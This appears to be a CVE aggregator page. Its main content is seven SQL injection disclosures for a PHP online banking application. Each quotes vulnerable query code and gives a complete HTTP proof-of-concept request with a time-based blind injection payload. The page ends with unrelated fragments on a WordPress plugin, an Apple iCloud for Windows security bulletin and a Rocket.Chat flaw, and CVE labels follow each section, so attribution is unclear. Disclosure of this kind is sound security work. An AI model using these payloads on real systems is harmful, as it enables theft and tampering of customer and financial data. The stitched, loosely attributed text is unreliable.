Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the search parameter at /net-banking/beneficiary.php.

**Vulnerability file address**

net-banking/beneficiary.php from line 74,The $_POST['search'] parameter is controllable, the parameter search can be passed through post, and the $search is not protected from sql injection, line 92 $result1 = $conn->query($sql1); made a sql query,resulting in sql injection

......
......
......
if (isset($\_POST\['submit'\])) {
                    $back\_button = TRUE;
                    $search = $\_POST\['search'\];
                    $by = $\_POST\['by'\];

                    if ($by == "name") {
                        $sql1 = "SELECT cust\_id, first\_name, last\_name, account\_no FROM customer
                        WHERE cust\_id=".$row\["benef\_cust\_id"\]." AND (first\_name LIKE '%$search%'
                        OR last\_name LIKE '%$search%' OR CONCAT(first\_name, ' ', last\_name) LIKE '%$search%')";
                    }
                    else {
                        $sql1 = "SELECT cust\_id, first\_name, last\_name, account\_no FROM customer
                        WHERE cust\_id=".$row\["benef\_cust\_id"\]." AND account\_no LIKE '$search'";
                    }
                }
......
......
......

        <?php
            $result1 = $conn\->query($sql1);
......
......
......

**POC**

POST /net-banking/beneficiary.php HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3
Content-Length: 16

submit=&search=' AND (SELECT 2893 FROM (SELECT(SLEEP(5)))EXvW)-- WklL

**Attack results pictures**

CVE-2022-40116: Found a vulnerability · Issue #13 · zakee94/online-banking-system

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the cust_id parameter at /net-banking/delete_customer.php.

Permalink

**Vulnerability file address**

net-banking/delete_customer.php from line 16,The $_GET['cust_id'] parameter is controllable, the parameter cust\_id can be passed through get, and the $_GET['cust_id'] is not protected from sql injection, line 36 if (($conn->query($sql0) === TRUE)) made a sql query,resulting in sql injection

......
......
......
 if (isset($\_GET\['cust\_id'\])) {
        $\_SESSION\['cust\_id'\] = $\_GET\['cust\_id'\];
    }

    $sql0 = "DELETE FROM customer WHERE cust\_id=".$\_SESSION\['cust\_id'\];
    $sql1 = "DROP TABLE passbook".$\_SESSION\['cust\_id'\];
    $sql2 = "DROP TABLE beneficiary".$\_SESSION\['cust\_id'\];

?>
......
......
......
            <?php
                if (($conn\->query($sql0) === TRUE)) { ?>
......
......
......

**POC**

GET /net-banking/delete\_customer.php?cust\_id=666 AND 3629=BENCHMARK(5000000,MD5(0x7a6f6b4e)) HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

**Attack results pictures**

CVE-2022-40117: BugReport/sql_injection2.md at main · 0clickjacking0/BugReport

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the cust_id parameter at /net-banking/send_funds_action.php.

Permalink

**Vulnerability file address**

net-banking/send_funds_action.php from line 17,The $_GET['cust_id'] parameter is controllable, the parameter cust\_id can be passed through get, and the $receiver_id is not protected from sql injection, line 29 $result5 = $conn->query($sql5); made a sql query,resulting in sql injection

......
......
......
    if (isset($\_GET\['cust\_id'\])) {
        $receiver\_id = $\_GET\['cust\_id'\];
    }

    $sender\_id = $\_SESSION\['loggedIn\_cust\_id'\];
    $amt = mysqli\_real\_escape\_string($conn, $\_POST\["amt"\]);
    $password = mysqli\_real\_escape\_string($conn, $\_POST\["password"\]);

    $sql0 = "SELECT \* FROM customer WHERE cust\_id=".$sender\_id." AND pwd='".$password."'";
    $result0 = $conn\->query($sql0);
    $row0 = $result0\->fetch\_assoc();

    $sql5 = "SELECT \* FROM customer WHERE cust\_id=".$receiver\_id;
    $result5 = $conn\->query($sql5);
......
......
......

**POC**

GET /net-banking/send\_funds\_action.php?cust\_id=666 AND (SELECT 2011 FROM (SELECT(SLEEP(5)))DwUi) HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3
Upgrade-Insecure-Requests: 1

**Attack results pictures**

CVE-2022-40118: BugReport/sql_injection4.md at main · 0clickjacking0/BugReport

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the search_term parameter at /net-banking/transactions.php.

**Vulnerability file address**

net-banking/transactions.php from line 28,The $_POST['search_term'] parameter is controllable, the parameter search\_term can be passed through post, and the $_POST['search_term'] is not protected from sql injection, line 170 $result = $conn->query($sql0); made a sql query,resulting in sql injection

......
......
......
    if (isset($\_POST\['search\_term'\])) {
        $\_SESSION\['search\_term'\] = $\_POST\['search\_term'\];
    }
    if (isset($\_POST\['date\_from'\])) {
        $\_SESSION\['date\_from'\] = $\_POST\['date\_from'\];
    }
    if (isset($\_POST\['date\_to'\])) {
        $\_SESSION\['date\_to'\] = $\_POST\['date\_to'\];
    }

    // Filter indicator variable
    $filter\_indicator = "None";

    // Queries when search is set
    if (!empty($\_SESSION\['search\_term'\])) {
        $sql0 .= " WHERE remarks COLLATE latin1\_GENERAL\_CI LIKE '%".$\_SESSION\['search\_term'\]."%'";
        $filter\_indicator = "Remarks";

        if (!empty($\_SESSION\['date\_from'\]) && empty($\_SESSION\['date\_to'\])) {
            $sql0 .= " AND trans\_date > '".$\_SESSION\['date\_from'\]." 00:00:00'";
            $filter\_indicator = "Remarks & Date From";
        }
        if (empty($\_SESSION\['date\_from'\]) && !empty($\_SESSION\['date\_to'\])) {
            $sql0 .= " AND trans\_date < '".$\_SESSION\['date\_to'\]." 23:59:59'";
            $filter\_indicator = "Remarks & Date To";
        }
        if (!empty($\_SESSION\['date\_from'\]) && !empty($\_SESSION\['date\_to'\])) {
            $sql0 .=  " AND trans\_date BETWEEN '".$\_SESSION\['date\_from'\]." 00:00:00' AND '".$\_SESSION\['date\_to'\]." 23:59:59'";
            $filter\_indicator = "Remarks, Date From & Date To";
        }
    }

    // Queries when search is not set
    if (empty($\_SESSION\['search\_term'\])) {
        if (!empty($\_SESSION\['date\_from'\]) && empty($\_SESSION\['date\_to'\])) {
            $sql0 .= " WHERE trans\_date > '".$\_SESSION\['date\_from'\]." 00:00:00'";
            $filter\_indicator = "Date From";
        }
        if (empty($\_SESSION\['date\_from'\]) && !empty($\_SESSION\['date\_to'\])) {
            $sql0 .= " WHERE trans\_date < '".$\_SESSION\['date\_to'\]." 23:59:59'";
            $filter\_indicator = "Date To";
        }
        if (!empty($\_SESSION\['date\_from'\]) && !empty($\_SESSION\['date\_to'\])) {
            $sql0 .=  " WHERE trans\_date BETWEEN '".$\_SESSION\['date\_from'\]." 00:00:00' AND '".$\_SESSION\['date\_to'\]." 23:59:59'";
            $filter\_indicator = "Date From & Date To";
        }
    }
......
......
......

        <?php
            $result = $conn\->query($sql0);
......
......
......

**POC**

POST /net-banking/transactions.php?cust\_id=1 HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

search\_term=' AND (SELECT 5964 FROM (SELECT(SLEEP(5)))doHk)-- TErm

**Attack results pictures**

CVE-2022-40119: Found a vulnerability · Issue #11 · zakee94/online-banking-system

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the search_term parameter at /net-banking/customer_transactions.php.

**Vulnerability file address**

net-banking/customer_transactions.php from line 39,The $_POST['search_term'] parameter is controllable, the parameter search\_term can be passed through post, and the $_POST['search_term'] is not protected from sql injection, line 166 $result = $conn->query($sql0); made a sql query,resulting in sql injection

......
......
......
if (!empty($\_SESSION\['search\_term'\])) {
        $sql0 .= " WHERE remarks COLLATE latin1\_GENERAL\_CI LIKE '%".$\_SESSION\['search\_term'\]."%'";
        $filter\_indicator = "Remarks";

        if (!empty($\_SESSION\['date\_from'\]) && empty($\_SESSION\['date\_to'\])) {
            $sql0 .= " AND trans\_date > '".$\_SESSION\['date\_from'\]." 00:00:00'";
            $filter\_indicator = "Remarks & Date From";
        }
        if (empty($\_SESSION\['date\_from'\]) && !empty($\_SESSION\['date\_to'\])) {
            $sql0 .= " AND trans\_date < '".$\_SESSION\['date\_to'\]." 23:59:59'";
            $filter\_indicator = "Remarks & Date To";
        }
        if (!empty($\_SESSION\['date\_from'\]) && !empty($\_SESSION\['date\_to'\])) {
            $sql0 .=  " AND trans\_date BETWEEN '".$\_SESSION\['date\_from'\]." 00:00:00' AND '".$\_SESSION\['date\_to'\]." 23:59:59'";
            $filter\_indicator = "Remarks, Date From & Date To";
        }
    }
......
......
......

        <?php
            $result = $conn\->query($sql0);
......
......
......

**POC**

POST /net-banking/customer\_transactions.php HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3
Content-Length: 13

search\_term=' AND (SELECT 2581 FROM (SELECT(SLEEP(5)))bIYx)-- Ldcj

**Attack results pictures**

CVE-2022-40120: Found a vulnerability · Issue #14 · zakee94/online-banking-system

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the search parameter at /net-banking/manage_customers.php.

**Vulnerability file address**

net-banking/manage_customers.php from line 11,The $_POST['search'] parameter is controllable, the parameter search can be passed through post, and the $search is not protected from sql injection, line 70 $result = $conn->query($sql0); made a sql query,resulting in sql injection

......
......
......
    if (isset($\_POST\['submit'\])) {
        $back\_button = TRUE;
        $search = $\_POST\['search'\];
        $by = $\_POST\['by'\];

        if ($by == "name") {
            $sql0 = "SELECT cust\_id, first\_name, last\_name, account\_no FROM customer
            WHERE first\_name LIKE '%".$search."%' OR last\_name LIKE '%".$search."%'
            OR CONCAT(first\_name, ' ', last\_name) LIKE '%".$search."%'";
        }
        else {
            $sql0 = "SELECT cust\_id, first\_name, last\_name, account\_no FROM customer
            WHERE account\_no LIKE '$search'";
        }
    }
......
......
......

        <?php
            $result = $conn\->query($sql0);
......
......
......

**POC**

POST /net-banking/manage\_customers.php HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3
Content-Length: 16

submit=&search=' AND (SELECT 4752 FROM (SELECT(SLEEP(5)))giHH)-- gbXY

**Attack results pictures**

CVE-2022-40121: Found a vulnerability · Issue #12 · zakee94/online-banking-system

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the cust_id parameter at /net-banking/edit_customer_action.php.

**Vulnerability file address**

net-banking/edit_customer_action.php from line 16,The $_GET['cust_id'] parameter is controllable, the parameter cust\_id can be passed through get, and the $_GET['cust_id'] is not protected from sql injection, line 59 if (($conn->query($sql0) === TRUE)) { ?> made a sql query,resulting in sql injection

......
......
......
    if (isset($\_GET\['cust\_id'\])) {
        $\_SESSION\['cust\_id'\] = $\_GET\['cust\_id'\];
    }

    $fname = mysqli\_real\_escape\_string($conn, $\_POST\["fname"\]);
    $lname = mysqli\_real\_escape\_string($conn, $\_POST\["lname"\]);
    $dob = mysqli\_real\_escape\_string($conn, $\_POST\["dob"\]);
    $aadhar = mysqli\_real\_escape\_string($conn, $\_POST\["aadhar"\]);
    $email = mysqli\_real\_escape\_string($conn, $\_POST\["email"\]);
    $phno = mysqli\_real\_escape\_string($conn, $\_POST\["phno"\]);
    $address = mysqli\_real\_escape\_string($conn, $\_POST\["address"\]);
    $branch = mysqli\_real\_escape\_string($conn, $\_POST\["branch"\]);
    $acno = mysqli\_real\_escape\_string($conn, $\_POST\["acno"\]);
    $pin = mysqli\_real\_escape\_string($conn, $\_POST\["pin"\]);
    $cus\_uname = mysqli\_real\_escape\_string($conn, $\_POST\["cus\_uname"\]);
    $cus\_pwd = mysqli\_real\_escape\_string($conn, $\_POST\["cus\_pwd"\]);

    $sql0 = "UPDATE customer SET first\_name = '$fname',
                                 last\_name = '$lname',
                                 dob = '$dob',
                                 aadhar\_no = '$aadhar',
                                 email = '$email',
                                 phone\_no = '$phno',
                                 address = '$address',
                                 branch = '$branch',
                                 account\_no = '$acno',
                                 pin = '$pin',
                                 uname = '$cus\_uname',
                                 pwd = '$cus\_pwd'
                            WHERE cust\_id=".$\_SESSION\['cust\_id'\];
......
......
......
if (($conn\->query($sql0) === TRUE)) { ?>
......
......
......

**POC**

GET /net-banking/edit\_customer\_action.php?cust\_id=666 AND (SELECT 5721 FROM (SELECT(SLEEP(5)))pcwq) HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

**Attack results pictures**

CVE-2022-40122: Found a vulnerability · Issue #15 · zakee94/online-banking-system

Unauthenticated Optin Campaign Cache Deletion vulnerability in MailOptin plugin <= 1.2.49.0 at WordPress.

CVE-2022-36340

An out-of-bounds read was addressed with improved input validation. This issue is fixed in iCloud for Windows 11.4, iOS 14.0 and iPadOS 14.0, watchOS 7.0, tvOS 14.0, iCloud for Windows 7.21, iTunes for Windows 12.10.9. Processing a maliciously crafted tiff file may lead to a denial-of-service or potentially disclose memory contents.

This document describes the security content of iCloud for Windows 7.21.

**About Apple security updates**

For our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the Apple security updates page.

Apple security documents reference vulnerabilities by CVE-ID when possible.

For more information about security, see the Apple Product Security page.

**iCloud for Windows 7.21**

Released September 24, 2020

**ImageIO**

Available for: Windows 7 and later

Impact: Processing a maliciously crafted tiff file may lead to a denial-of-service or potentially disclose memory contents

Description: An out-of-bounds read was addressed with improved input validation.

CVE-2020-36521: Xingwei Lin of Ant-Financial Light-Year Security Lab

Entry added May 25, 2022

**SQLite**

Available for: Windows 7 and later

Impact: A remote attacker may be able to cause a denial of service

Description: This issue was addressed with improved checks.

CVE-2020-9991

Entry added November 12, 2020

**SQLite**

Available for: Windows 7 and later

Impact: Multiple issues in SQLite

Description: Multiple issues were addressed by updating SQLite to version 3.32.3.

CVE-2020-15358

Entry added November 12, 2020

**WebKit**

Available for: Windows 7 and later

Impact: Processing maliciously crafted web content may lead to a cross site scripting attack

Description: An input validation issue was addressed with improved input validation.

CVE-2020-9952: Ryan Pickren (ryanpickren.com)

Information about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. Contact the vendor for additional information.

Published Date: May 25, 2022

CVE-2020-36521: About the security content of iCloud for Windows 7.21

A NoSQL-Injection information disclosure vulnerability vulnerability exists in Rocket.Chat <v5, <v4.8.2 and <v4.7.5 in the getS3FileUrl Meteor server method that can disclose arbitrary file upload URLs to users that should not be able to access.

Tag

#sql